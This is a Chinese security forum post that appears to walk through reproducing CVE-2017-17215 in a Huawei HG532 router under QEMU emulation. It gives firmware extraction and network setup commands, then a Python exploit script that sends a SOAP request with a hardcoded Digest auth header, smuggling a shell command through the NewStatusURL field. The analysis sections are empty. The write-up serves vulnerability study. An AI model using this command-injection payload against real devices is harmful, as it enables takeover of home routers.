本文为看雪论坛精华文章
看雪论坛作者ID:hlhow
一
漏洞介绍
二
环境搭建
git clone https://gitee.com/p1piyang/backward-analysis
cd backward-analysis/CVE-2017-17215
apt install binwalk #需要提前安装binwalk
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
#下载qemu虚拟机
sudo apt-get install qemu
sudo apt-get install qemu binfmt-support qemu-user-static
#下载镜像
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
#配置网络,创建网桥
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.10.1/24 up
#创建tap接口,添加到网桥
sudo apt install uml-utilities
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.10.11/24 up
sudo brctl addif Virbr0 tap0
#启动qemu虚拟机,账号密码都为root
apt install qemu-system-mips
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
#进入虚拟机后,配置ip地址,测试与主机的连通性
ifconfig eth0 192.168.10.2/24 up
ping 192.168.10.1 -c 10
#回到主机中将squashfs-root文件夹复制到虚拟机
scp -r squashfs-root/ [email protected]:~/
#挂载
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
#虚拟机速度过慢,回到主机通过ssh远程连接虚拟机,执行漏洞程序
ssh [email protected]
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
#此时的虚拟机的路由IP已经发生了变化,ssh已经断开了,所以需要返回虚拟机的终端进行更改IP地址
ifconfig eth0 192.168.10.2/24 up
ifconfig br0 192.168.10.11/24 up
至此,环境搭建成功,存在漏洞的服务已经启动
三
漏洞利用
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox ls;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(response) #此处打印服务返回的响应代码,以确定执行效果
+----------------------------------------------------------------+
| |
| +--------------------+ +--------------------+ |
| | User Application A | | User Application B |<-----+ |
| +--------------------+ +--------------------+ | |
| | 1 | 5 | |
|...............|......................|...................|.....|
| ↓ ↓ | |
| +----------+ +----------+ | |
| | socket A | | socket B | | |
| +----------+ +----------+ | |
| | 2 | 6 | |
|.................|.................|......................|.....|
| ↓ ↓ | |
| +------------------------+ 4 | |
| | Newwork Protocol Stack | | |
| +------------------------+ | |
| | 7 | 3 | |
|................|...................|.....................|.....|
| ↓ ↓ | |
| +----------------+ +----------------+ | |
| | eth0 | | tun0 | | |
| +----------------+ +----------------+ | |
| 10.32.0.11 | | 192.168.3.11 | |
| | 8 +---------------------+ |
| | |
+----------------|-----------------------------------------------+
↓
Physical Network
tcpdump -i tap0 -w result.cap
四
漏洞分析
看雪ID:hlhow
https://bbs.pediy.com/user-home-945201.htm
2.5折门票限时抢购
峰会官网:https://meet.kanxue.com/kxmeet-6.htm
# 往期推荐
1.进程 Dump & PE unpacking & IAT 修复 - Windows 篇
2.NtSocket的稳定实现,Client与Server的简单封装,以及SocketAsyncSelect的一种APC实现
3.如何保护自己的代码?给自己的代码添加NoChange属性
球分享
球点赞
球在看
点击“阅读原文”,了解更多!